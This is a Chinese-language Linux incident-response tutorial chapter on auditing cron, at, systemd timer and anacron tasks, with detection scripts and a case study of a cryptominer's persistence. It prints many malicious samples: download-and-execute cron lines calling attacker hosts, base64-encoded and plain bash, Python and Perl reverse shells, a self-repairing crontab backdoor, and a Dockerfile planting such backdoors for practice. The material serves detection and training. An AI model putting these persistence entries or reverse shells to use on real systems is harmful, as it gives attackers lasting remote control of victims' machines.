Linux应急响应 - 07 计划任务审计

07-计划任务审计 (Scheduled Tasks Audit)

计划任务是攻击者实现持久化周期性执行恶意代码的最常用手段之一。在 Linux 应急响应中,计划任务审计是必须优先完成的排查项。本章系统讲解 Linux 下所有形式的计划任务机制,包括 crontab、at、systemd timer、anacron,以及如何从日志中发现异常计划任务执行记录。

本页面假设你已具备基本的 Linux 管理经验。如果需要回顾服务与启动项的知识,请参考 08-服务与启动项审计

1. Crontab 体系全景

1.1 Crontab 的四大层级

Linux 下的 cron 任务分布在多个位置,排查时必须全部覆盖,遗漏任何一层都可能放过攻击者的后门。

层级 位置 格式特点 检查命令
用户级 crontab /var/spool/cron/crontabs/<user> (Ubuntu/Debian) 或 /var/spool/cron/<user> (CentOS/RHEL) 不含 user 字段,6个字段 crontab -l -u <user>
系统级 crontab /etc/crontab 含 user 字段,7个字段 cat /etc/crontab
Drop-in 目录 /etc/cron.d/ 含 user 字段,同 /etc/crontab 格式 ls -la /etc/cron.d/
周期目录 /etc/cron.{hourly,daily,weekly,monthly}/ 可执行脚本,由 run-parts 执行 ls -la /etc/cron.hourly/

1.2 用户级 crontab

每个用户都可以拥有自己的 crontab,通过 crontab -e 编辑,crontab -l 查看。

存储位置差异

Ubuntu/Debian: /var/spool/cron/crontabs/

CentOS/RHEL: /var/spool/cron/

这些文件归 root 所有,普通用户无法直接读取其他用户的 crontab 文件,但 root 可以通过 -u 参数查看任意用户的 crontab。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看当前用户的 crontab
crontab -l

# 以 root 身份查看指定用户的 crontab
crontab -l -u www-data

# 直接查看存储文件(Ubuntu)
ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/root

# 直接查看存储文件(CentOS)
ls -la /var/spool/cron/
cat /var/spool/cron/root

1.3 系统级 crontab

/etc/crontab 是系统级的 cron 配置文件,与用户级最大的区别在于多了一个 user 字段

1
2
3
4
5
6
7
# 用户级格式(6个字段):
# 分 时 日 月 周 命令
*/5 * * * * /usr/local/bin/backup.sh

# 系统级格式(7个字段):
# 分 时 日 月 周 用户 命令
*/5 * * * * root /usr/local/bin/backup.sh

检查系统级 crontab:

1
2
cat /etc/crontab
stat /etc/crontab # 查看修改时间

1.4 Drop-in 目录 /etc/cron.d/

软件包安装时常将自己的 cron 配置放在 /etc/cron.d/ 目录下,格式与 /etc/crontab 相同(包含 user 字段)。

1
2
3
ls -la /etc/cron.d/
# 查看所有文件内容
for f in /etc/cron.d/*; do echo "=== $f ==="; cat "$f"; echo; done

注意:攻击者可能在此目录下创建看似合法的文件,如 sysstatlogrotate-custom 等。

1.5 周期目录

/etc/cron.hourly//etc/cron.daily//etc/cron.weekly//etc/cron.monthly/ 目录中放置的是可执行脚本,由 run-parts 命令按对应周期执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看所有周期目录
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# 检查脚本内容
for dir in /etc/cron.{hourly,daily,weekly,monthly}; do
echo "====== $dir ======"
for f in "$dir"/*; do
[ -f "$f" ] && echo "--- $f ---" && head -20 "$f"
done
done

run-parts 只会执行文件名符合特定规则的脚本(不能包含 . 等字符),这一点攻击者也可能利用。

1.6 Crontab 语法详解

1
2
3
4
5
6
7
┌──────────── 分钟 (0-59)
│ ┌────────── 小时 (0-23)
│ │ ┌──────── 日 (1-31)
│ │ │ ┌────── 月 (1-12)
│ │ │ │ ┌──── 星期 (0-7, 07都是周日)
│ │ │ │ │
* * * * * command

特殊符号

* — 匹配所有值

, — 列举多个值,如 1,3,5

- — 范围,如 1-5

/ — 步进,如 */5 表示每5分钟

@reboot — 系统启动时执行一次

@hourly — 等同于 0 * * * *

@daily / @midnight — 等同于 0 0 * * *

@weekly — 等同于 0 0 * * 0

@monthly — 等同于 0 0 1 * *

@yearly / @annually — 等同于 0 0 1 1 *

应急响应特别关注@reboot 条目——攻击者用它在系统重启后重新建立连接。

2. 排查所有用户的 crontab

2.1 遍历所有用户的 crontab

应急响应时,必须检查每一个用户的 crontab,包括系统用户(www-data, nobody, mysql 等),因为攻击者经常利用这些低权限账户隐藏后门。

1
2
3
4
5
6
# 方法一:通过 crontab 命令遍历
for user in $(cut -d: -f1 /etc/passwd); do
echo "======== $user ========"
crontab -l -u "$user" 2>/dev/null
echo
done
1
2
3
4
5
6
7
# 方法二:直接检查 spool 目录(Ubuntu/Debian)
echo "=== 用户级 crontab 文件 ==="
ls -la /var/spool/cron/crontabs/ 2>/dev/null
echo
for f in /var/spool/cron/crontabs/*; do
[ -f "$f" ] && echo "--- $(basename $f) ---" && cat "$f" && echo
done
1
2
3
4
5
6
7
# 方法二:直接检查 spool 目录(CentOS/RHEL)
echo "=== 用户级 crontab 文件 ==="
ls -la /var/spool/cron/ 2>/dev/null
echo
for f in /var/spool/cron/*; do
[ -f "$f" ] && echo "--- $(basename $f) ---" && cat "$f" && echo
done

2.2 文件修改时间检查

检查 crontab 文件的修改时间可以帮助判断后门是何时植入的:

1
2
3
4
5
6
7
8
# 查看 spool 目录下所有文件的详细时间
# Ubuntu
stat /var/spool/cron/crontabs/* 2>/dev/null
# CentOS
stat /var/spool/cron/* 2>/dev/null

# 使用 find 查找最近被修改的 crontab 相关文件
find /var/spool/cron* /etc/cron* -type f -mtime -7 -ls 2>/dev/null

关键点:如果一个长期运行的服务器上,某个 crontab 文件在近期才被修改,且服务器管理员无法解释这次修改,则高度可疑。

2.3 crontab 访问控制

检查哪些用户被允许或禁止使用 crontab:

1
2
3
4
5
# 允许使用 crontab 的用户白名单
cat /etc/cron.allow 2>/dev/null

# 禁止使用 crontab 的用户黑名单
cat /etc/cron.deny 2>/dev/null

如果 cron.allow 存在,只有列在其中的用户可以使用 crontab。如果 cron.allow 不存在但 cron.deny 存在,则不在 deny 列表中的用户都可以使用。攻击者可能修改这些文件来为自己开放权限。

3. 恶意 crontab 特征识别

这是本章的核心内容。攻击者使用 crontab 植入后门的手法多种多样,以下逐一分析。

3.1 下载执行型

最常见、最直接的方式:从远程服务器下载脚本并执行。

真实样本

1
2
3
4
5
6
7
8
9
10
11
# 样本1:curl 管道执行
*/5 * * * * curl -fsSL http://evil.com/x.sh | bash

# 样本2:wget 管道执行
*/5 * * * * wget -q -O- http://203.0.113.42:8080/update.sh | sh

# 样本3:带 User-Agent 伪装
*/10 * * * * curl -A "Mozilla/5.0" -fsSL http://evil.com/payload | bash

# 样本4:使用 IP 十六进制编码
*/5 * * * * curl http://0x7f000001/a.sh | bash

检测方法

1
2
3
4
5
# 在所有 cron 配置中搜索 curl/wget 管道
grep -rn "curl\|wget" /var/spool/cron* /etc/cron* 2>/dev/null | grep -i "\|.*bash\|.*sh\|.*pipe"

# 更精确的模式匹配
grep -rPn "(curl|wget).*\|.*(bash|sh)" /var/spool/cron* /etc/cron* 2>/dev/null

3.2 Base64 编码型

攻击者使用 Base64 编码来绕过基于关键词的检测:

真实样本

1
2
3
4
5
6
7
8
# 样本1:直接 base64 解码执行
*/10 * * * * echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDMgMD4mMQ==" | base64 -d | bash

# 样本2:先写文件再执行
*/10 * * * * echo "IyEvYmluL2Jhc2gKd2dldCBodHRwOi8vZXZpbC5jb20vbWluZXIgLU8gL3RtcC8uaGlkZGVuICYmIGNobW9kICt4IC90bXAvLmhpZGRlbiAmJiAvdG1wLy5oaWRkZW4=" | base64 -d > /tmp/.x && chmod +x /tmp/.x && /tmp/.x

# 样本3:嵌套编码
*/15 * * * * echo "ZWNobyBZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TUM0d0xqQXVNUzgwTkRNZ01ENG1NUT09IHwgYmFzZTY0IC1kIHwgYmFzZTY0IC1kIHwgYmFzaA==" | base64 -d | bash

检测方法

1
2
3
4
5
6
7
8
9
# 搜索包含 base64 的 cron 条目
grep -rn "base64" /var/spool/cron* /etc/cron* 2>/dev/null

# 搜索长串的字母数字字符(可能是 base64 编码)
grep -rPn "[A-Za-z0-9+/]{40,}" /var/spool/cron* /etc/cron* 2>/dev/null

# 解码可疑的 base64 字符串
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDMgMD4mMQ==" | base64 -d
# 输出: bash -i >& /dev/tcp/10.0.0.1/443 0>&1

3.3 嵌套管道型

多层管道组合,增加分析难度:

真实样本

1
2
3
4
5
6
7
8
# 样本1:wget + 多重管道
*/3 * * * * wget -q -O- http://x.x.x.x/a | perl | bash

# 样本2:curl + python 解码
*/5 * * * * curl -s http://evil.com/e | python3 -c "import sys,base64;exec(base64.b64decode(sys.stdin.read()))"

# 样本3:通过 DNS TXT 记录获取 payload
*/10 * * * * dig +short TXT cmd.evil.com | tr -d '"' | bash

检测方法

1
2
3
4
5
# 搜索包含多个管道符的 cron 条目
grep -rn "|.*|" /var/spool/cron* /etc/cron* 2>/dev/null

# 搜索涉及网络工具的条目
grep -rPn "(curl|wget|dig|python|perl|ruby|nc|ncat)" /var/spool/cron* /etc/cron* 2>/dev/null

3.4 反弹 Shell 型

直接在 crontab 中写入反弹 shell 命令:

真实样本

1
2
3
4
5
6
7
8
9
10
11
# 样本1:bash 反弹
*/5 * * * * bash -i >& /dev/tcp/10.0.0.1/4443 0>&1

# 样本2:bash -c 包装
*/5 * * * * bash -c 'bash -i >& /dev/tcp/10.0.0.1/4443 0>&1'

# 样本3:python 反弹
*/5 * * * * python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# 样本4:perl 反弹
*/5 * * * * perl -e 'use Socket;$i="10.0.0.1";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

检测方法

1
2
3
4
5
# 搜索 /dev/tcp 模式(bash 反弹 shell 标志)
grep -rn "/dev/tcp" /var/spool/cron* /etc/cron* 2>/dev/null

# 搜索常见反弹 shell 关键词
grep -rPn "(socket|reverse|connect|dup2|/dev/tcp|/dev/udp|mkfifo|nc\s+-[elp])" /var/spool/cron* /etc/cron* 2>/dev/null

3.5 隐蔽命名型

攻击者将恶意脚本伪装成合法的系统维护任务:

真实样本

1
2
3
4
5
6
7
8
9
10
11
12
# 样本1:伪装成日志轮转
*/30 * * * * /usr/local/sbin/logrotate-helper

# 样本2:伪装成系统检查
@daily /opt/syscheck/system-monitor.sh

# 样本3:伪装成更新任务
0 3 * * * /usr/local/bin/apt-update-helper

# 样本4:隐藏在正常注释之后
# System maintenance task - DO NOT REMOVE
*/5 * * * * /tmp/.ICE-unix/.update

检测方法

1
2
3
4
5
6
7
8
9
10
# 检查 ExecStart 指向的文件是否属于已知软件包
# Debian/Ubuntu
dpkg -S /usr/local/sbin/logrotate-helper 2>&1
# CentOS/RHEL
rpm -qf /usr/local/sbin/logrotate-helper 2>&1

# 如果返回 "no path found" 或类似错误,说明该文件不属于任何已安装的包

# 检查可疑路径
grep -rPn "(/tmp/|/dev/shm/|/var/tmp/|/run/|\.hidden|/\.\w+)" /var/spool/cron* /etc/cron* 2>/dev/null

3.6 综合检测脚本

以下脚本可一次性检测上述所有类型的恶意 crontab 特征:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
# crontab_malware_scan.sh - 恶意 crontab 综合检测

echo "=========================================="
echo " 恶意 Crontab 特征扫描"
echo "=========================================="

CRON_PATHS="/var/spool/cron /var/spool/cron/crontabs /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly"

# 定义恶意模式
PATTERNS=(
"curl.*|.*bash"
"wget.*|.*bash"
"curl.*|.*sh"
"wget.*|.*sh"
"base64"
"/dev/tcp"
"/dev/udp"
"mkfifo"
"nc\s+-[elp]"
"ncat.*-[elp]"
"python.*socket"
"perl.*socket"
"ruby.*socket"
"/tmp/"
"/dev/shm/"
"/var/tmp/\."
"HISTFILE"
"history\s*-c"
)

for pattern in "${PATTERNS[@]}"; do
result=$(grep -rPn "$pattern" $CRON_PATHS 2>/dev/null)
if [ -n "$result" ]; then
echo ""
echo "[!] 检测到可疑模式: $pattern"
echo "$result"
fi
done

echo ""
echo "=========================================="
echo " 最近7天内修改的 cron 文件"
echo "=========================================="
find /var/spool/cron* /etc/cron* -type f -mtime -7 -ls 2>/dev/null

echo ""
echo "=========================================="
echo " 所有用户的 crontab 内容"
echo "=========================================="
for user in $(cut -d: -f1 /etc/passwd); do
ct=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$ct" ]; then
echo "=== $user ==="
echo "$ct"
echo ""
fi
done

4. at 任务排查

at 命令用于创建一次性的定时任务,虽然不如 crontab 常见,但攻击者也可能利用它。

4.1 基本排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看当前 at 队列
atq

# 查看指定任务的详细内容
at -c <JOB_NUMBER>

# 示例输出
# $ atq
# 3 Thu Jan 9 02:30:00 2025 a root
# 5 Fri Jan 10 03:00:00 2025 a www-data

# 查看任务 3 的内容
at -c 3

4.2 直接检查 spool 目录

1
2
3
4
5
6
7
8
# at 任务存储位置
ls -la /var/spool/at/ 2>/dev/null
ls -la /var/spool/atjobs/ 2>/dev/null # 某些发行版

# 查看所有 at 任务文件内容
for f in /var/spool/at/a*; do
[ -f "$f" ] && echo "=== $f ===" && cat "$f" && echo
done

4.3 at 访问控制

1
2
cat /etc/at.allow 2>/dev/null
cat /etc/at.deny 2>/dev/null

4.4 恶意 at 任务示例

1
2
3
4
5
# 攻击者可能创建延迟执行的反弹 shell
echo "bash -i >& /dev/tcp/10.0.0.1/4443 0>&1" | at now + 5 minutes

# 或者创建周期性的 at 任务(自我复制)
echo "/tmp/.backdoor && echo '/tmp/.backdoor' | at now + 10 minutes" | at now + 10 minutes

5. Systemd Timer 排查

Systemd Timer 是 systemd 环境下 cron 的现代替代品。越来越多的攻击者开始使用 systemd timer 来实现持久化,因为它比 crontab 更加隐蔽。

详细的 Systemd 服务排查请参考 08-服务与启动项审计

5.1 查看所有 Timer

1
2
3
4
5
6
7
# 列出所有 timer(包括已停止的)
systemctl list-timers --all

# 输出示例:
# NEXT LEFT LAST PASSED UNIT ACTIVATES
# Thu 2025-01-09 03:00:00 CST 2h 30min left Wed 2025-01-08 03:00:00 CST 21h ago apt-daily.timer apt-daily.service
# Thu 2025-01-09 06:00:00 CST 5h 30min left Wed 2025-01-08 06:00:00 CST 18h ago update-check.timer update-check.service

5.2 Timer 单元文件位置

1
2
3
4
5
6
7
8
9
10
11
# 系统级 timer
ls /etc/systemd/system/*.timer 2>/dev/null
ls /usr/lib/systemd/system/*.timer 2>/dev/null
ls /run/systemd/system/*.timer 2>/dev/null

# 用户级 timer
ls ~/.config/systemd/user/*.timer 2>/dev/null
# 遍历所有用户
for home in /home/*; do
[ -d "$home/.config/systemd/user" ] && echo "=== $home ===" && ls "$home/.config/systemd/user/"*.timer 2>/dev/null
done

5.3 Timer 文件格式

1
2
3
4
5
6
7
8
9
10
11
12
# /etc/systemd/system/evil.timer
[Unit]
Description=System Update Timer

[Timer]
OnCalendar=*:0/5 # 每5分钟
# 或 OnBootSec=60 # 开机后60秒
# 或 OnUnitActiveSec=300 # 上次激活后300秒
Persistent=true

[Install]
WantedBy=timers.target

5.4 识别异常 Timer

重点关注以下特征:

名称不属于已知软件包:使用 dpkg -Srpm -qf 验证

触发频率过高:如每分钟或每5分钟

关联的 service 执行可疑命令

最近创建或修改的 timer 文件

1
2
3
4
5
6
7
8
9
10
11
12
# 检查 timer 关联的 service
systemctl cat update-check.timer
systemctl cat update-check.service

# 验证 timer 文件是否属于已安装的包
# Debian/Ubuntu
dpkg -S /etc/systemd/system/update-check.timer 2>&1
# CentOS/RHEL
rpm -qf /etc/systemd/system/update-check.timer 2>&1

# 查找最近修改的 timer 文件
find /etc/systemd /usr/lib/systemd /run/systemd -name "*.timer" -mtime -7 -ls 2>/dev/null

6. Anacron 排查

6.1 Anacron 与 Cron 的区别

特性 Cron Anacron
精度 分钟级 天级
需要持续运行
补执行错过的任务
适用场景 服务器 笔记本/桌面

Anacron 的特点是:如果机器在计划执行时间关机了,下次开机后会补执行错过的任务。攻击者可能利用这一特性确保后门被执行。

6.2 Anacron 配置检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看 anacrontab 配置
cat /etc/anacrontab

# 典型内容:
# SHELL=/bin/sh
# PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
#
# period delay job-identifier command
# 1 5 cron.daily nice run-parts /etc/cron.daily
# 7 25 cron.weekly nice run-parts /etc/cron.weekly
# @monthly 45 cron.monthly nice run-parts /etc/cron.monthly

# 检查是否有异常条目
stat /etc/anacrontab

关注点

是否有非标准的 job-identifier

command 字段是否包含可疑命令

文件修改时间是否异常

6.3 Anacron 时间戳

Anacron 使用时间戳文件来记录上次执行时间:

1
2
3
4
ls -la /var/spool/anacron/
cat /var/spool/anacron/cron.daily
cat /var/spool/anacron/cron.weekly
cat /var/spool/anacron/cron.monthly

7. Cron 日志分析

7.1 日志位置

发行版 日志位置 说明
Ubuntu/Debian /var/log/syslog (grep CRON) 混在 syslog 中
Ubuntu (配置后) /var/log/cron.log 需要开启独立日志
CentOS/RHEL /var/log/cron 默认独立日志文件

7.2 Ubuntu 开启独立 Cron 日志

1
2
3
4
5
6
7
# 编辑 rsyslog 配置
# 取消注释以下行:
# cron.* /var/log/cron.log
vim /etc/rsyslog.d/50-default.conf

# 重启 rsyslog
systemctl restart rsyslog

7.3 Cron 日志分析命令

1
2
3
4
5
6
7
8
9
10
11
# Ubuntu/Debian:从 syslog 中提取 cron 记录
grep "CRON" /var/log/syslog | tail -50
grep "CRON" /var/log/syslog | grep -v "pam_unix" | tail -50

# CentOS/RHEL:直接查看 cron 日志
tail -100 /var/log/cron
cat /var/log/cron | grep -i "cmd"

# 查看历史日志(logrotate 后的)
zgrep "CRON" /var/log/syslog.*.gz
zcat /var/log/cron-*.gz | grep "CMD"

7.4 从日志中发现异常

1
2
3
4
5
6
7
8
9
10
11
# 查找非标准用户执行的 cron 任务
grep "CRON" /var/log/syslog | grep -v "root" | grep -v "CRON\[.*\]: pam_unix"

# 查找高频执行的 cron 任务
grep "CRON.*CMD" /var/log/syslog | awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

# 查找包含可疑关键词的 cron 执行记录
grep "CRON.*CMD" /var/log/syslog | grep -iP "(curl|wget|base64|/tmp/|/dev/shm|bash -[ci]|python|perl|nc\s)"

# 查找特定时间段的 cron 活动(比如凌晨2-4点)
grep "CRON" /var/log/syslog | awk -F'[ :]+' '$3 >= 2 && $3 <= 4'

7.5 日志缺失分析

如果 cron 日志被清除缺少特定时间段,这本身就是一个强烈的异常信号:

1
2
3
4
5
6
7
8
9
10
11
# 检查 cron 日志文件的修改时间
stat /var/log/cron 2>/dev/null
stat /var/log/syslog

# 检查日志文件大小是否异常(太小可能被清除过)
ls -lh /var/log/cron* 2>/dev/null
ls -lh /var/log/syslog*

# 检查是否存在时间跳跃(日志被部分删除的迹象)
grep "CRON" /var/log/syslog | awk '{print $1, $2, $3}' | head -5
grep "CRON" /var/log/syslog | awk '{print $1, $2, $3}' | tail -5

8. 实战案例

8.1 案例:多层嵌套的挖矿 crontab

场景:安全团队收到告警,服务器 CPU 持续 100%。初步排查发现可疑进程,需要找出持久化机制。

排查过程

Step 1:检查 root 的 crontab

1
2
crontab -l
# 输出看起来正常,只有标准的 logrotate 任务

Step 2:检查所有用户 crontab

1
2
3
4
5
6
7
8
9
10
for user in $(cut -d: -f1 /etc/passwd); do
ct=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$ct" ]; then
echo "=== $user ==="
echo "$ct"
fi
done
# 发现 www-data 用户有可疑条目:
# === www-data ===
# */5 * * * * (curl -fsSL http://t.amynx.com/b2f628/b.sh || wget -q -O- http://t.amynx.com/b2f628/b.sh) | sh

Step 3:检查 /etc/cron.d/

1
2
3
4
5
6
ls -la /etc/cron.d/
# 发现一个异常文件:
# -rw-r--r-- 1 root root 88 Jan 8 02:15 sysstat_update

cat /etc/cron.d/sysstat_update
# */10 * * * * root echo "Y3VybCAtZnNTTCBodHRwOi8vdC5hbXlueC5jb20vYjJmNjI4L2Iuc2h8c2g=" | base64 -d | bash

Step 4:解码 Base64

1
2
echo "Y3VybCAtZnNTTCBodHRwOi8vdC5hbXlueC5jb20vYjJmNjI4L2Iuc2h8c2g=" | base64 -d
# 输出: curl -fsSL http://t.amynx.com/b2f628/b.sh|sh

Step 5:检查周期目录

1
2
3
4
5
6
7
ls -la /etc/cron.hourly/
# 发现:
# -rwxr-xr-x 1 root root 156 Jan 8 02:15 syscheck

cat /etc/cron.hourly/syscheck
# #!/bin/sh
# (crontab -l 2>/dev/null | grep -q "amynx") || (crontab -l 2>/dev/null; echo "*/5 * * * * (curl -fsSL http://t.amynx.com/b2f628/b.sh||wget -q -O- http://t.amynx.com/b2f628/b.sh)|sh") | crontab -

这个脚本的作用是:每小时检查一次 crontab 中是否包含恶意条目,如果被删除了就重新添加——这是自我修复型后门

总结:攻击者在三个位置同时植入了后门:

www-data 用户的 crontab(直接下载执行)

/etc/cron.d/sysstat_update(Base64 编码)

/etc/cron.hourly/syscheck(自我修复机制)

清除时必须同时移除所有三处,否则后门会自动恢复。

8.2 一键排查脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/bin/bash
# cron_audit.sh - 计划任务一键排查脚本
# 用于 Linux 应急响应中的 crontab 全面审计

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

echo -e "${GREEN}=========================================="
echo " Linux 计划任务全面审计脚本"
echo -e "==========================================${NC}"
echo "执行时间: $(date)"
echo "主机名: $(hostname)"
echo ""

# ========== 1. 所有用户 crontab ==========
echo -e "${YELLOW}[1/8] 检查所有用户 crontab${NC}"
for user in $(cut -d: -f1 /etc/passwd); do
ct=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$ct" ]; then
echo -e "${RED}=== $user ===${NC}"
echo "$ct"
echo ""
fi
done

# ========== 2. 系统级 crontab ==========
echo -e "${YELLOW}[2/8] 检查 /etc/crontab${NC}"
cat /etc/crontab
echo ""

# ========== 3. /etc/cron.d/ ==========
echo -e "${YELLOW}[3/8] 检查 /etc/cron.d/${NC}"
ls -la /etc/cron.d/
echo ""
for f in /etc/cron.d/*; do
[ -f "$f" ] && echo "--- $f ---" && cat "$f" && echo
done

# ========== 4. 周期目录 ==========
echo -e "${YELLOW}[4/8] 检查周期目录${NC}"
for dir in /etc/cron.{hourly,daily,weekly,monthly}; do
echo "=== $dir ==="
ls -la "$dir" 2>/dev/null
for f in "$dir"/*; do
[ -f "$f" ] && echo "--- $f ---" && head -5 "$f" && echo "..."
done
echo ""
done

# ========== 5. at 任务 ==========
echo -e "${YELLOW}[5/8] 检查 at 任务${NC}"
atq 2>/dev/null || echo "at 未安装或无任务"
echo ""

# ========== 6. Systemd Timers ==========
echo -e "${YELLOW}[6/8] 检查 Systemd Timers${NC}"
systemctl list-timers --all --no-pager 2>/dev/null
echo ""

# ========== 7. Anacron ==========
echo -e "${YELLOW}[7/8] 检查 Anacron${NC}"
cat /etc/anacrontab 2>/dev/null || echo "anacrontab 不存在"
echo ""

# ========== 8. 恶意模式扫描 ==========
echo -e "${YELLOW}[8/8] 恶意模式扫描${NC}"
SCAN_DIRS="/var/spool/cron /var/spool/cron/crontabs /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly"

patterns=(
"curl.*\|.*bash"
"wget.*\|.*bash"
"curl.*\|.*sh"
"wget.*\|.*sh"
"base64"
"/dev/tcp"
"/dev/udp"
"mkfifo"
"python.*socket"
"perl.*socket"
"/tmp/\."
"/dev/shm"
)

found=0
for p in "${patterns[@]}"; do
result=$(grep -rPn "$p" $SCAN_DIRS 2>/dev/null)
if [ -n "$result" ]; then
echo -e "${RED}[!] 发现可疑模式: $p${NC}"
echo "$result"
found=1
fi
done

if [ "$found" -eq 0 ]; then
echo -e "${GREEN}[+] 未发现已知恶意模式${NC}"
fi

echo ""
echo -e "${YELLOW}[*] 最近7天修改的 cron 相关文件${NC}"
find /var/spool/cron* /etc/cron* -type f -mtime -7 -ls 2>/dev/null

echo ""
echo -e "${GREEN}=========================================="
echo " 审计完成"
echo -e "==========================================${NC}"

8.3 练习:Docker 实验

在 Docker 环境中模拟包含 5 种不同形式 crontab 后门的场景,练习排查能力:

练习目标:找出以下 5 种后门并分析每种的工作原理:

  1. 用户级 crontab 中的下载执行型后门

  2. /etc/cron.d/ 中的 Base64 编码后门

  3. /etc/cron.hourly/ 中的自我修复脚本

  4. systemd timer 定时触发的后门

  5. at 任务中的延迟执行后门

环境搭建思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Dockerfile 示例框架
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y cron at

# 后门1:www-data 用户 crontab
RUN echo '*/5 * * * * curl -fsSL http://evil.example.com/x.sh | bash' \
| crontab -u www-data -

# 后门2:/etc/cron.d/ 中 Base64 编码
RUN echo '*/10 * * * * root echo "Y3VybCBodHRwOi8vZXZpbC5leGFtcGxlLmNvbS9taW5lcnxiYXNo" | base64 -d | bash' \
> /etc/cron.d/sysstat_helper

# 后门3:自我修复脚本
# 后门4:systemd timer(需要 systemd 环境)
# 后门5:at 任务

CMD ["cron", "-f"]

提示:排查过程中综合使用本章介绍的所有工具和方法,并参考 15-Crontab后门 了解更多后门植入技术。

9. 总结与速查表

排查清单

排查项 命令 备注
所有用户 crontab for user in $(cut -d: -f1 /etc/passwd); do crontab -l -u $user 2>/dev/null; done 不要遗漏系统用户
系统级 crontab cat /etc/crontab 注意多出的 user 字段
Drop-in 目录 ls -la /etc/cron.d/ && cat /etc/cron.d/* 检查文件名是否可疑
周期目录 ls -la /etc/cron.{hourly,daily,weekly,monthly}/ 检查脚本内容
at 任务 atq && at -c <JOB> 包括一次性任务
Systemd Timer systemctl list-timers --all 检查关联的 service
Anacron cat /etc/anacrontab 补执行机制
Cron 日志 grep CRON /var/log/syslogcat /var/log/cron 发行版差异

相关页面

15-Crontab后门 — Crontab 后门的植入与检测深入分析

08-服务与启动项审计 — 服务与启动项的全面审计


上一章 目录 下一章
06-文件系统取证 Linux应急响应 08-服务与启动项审计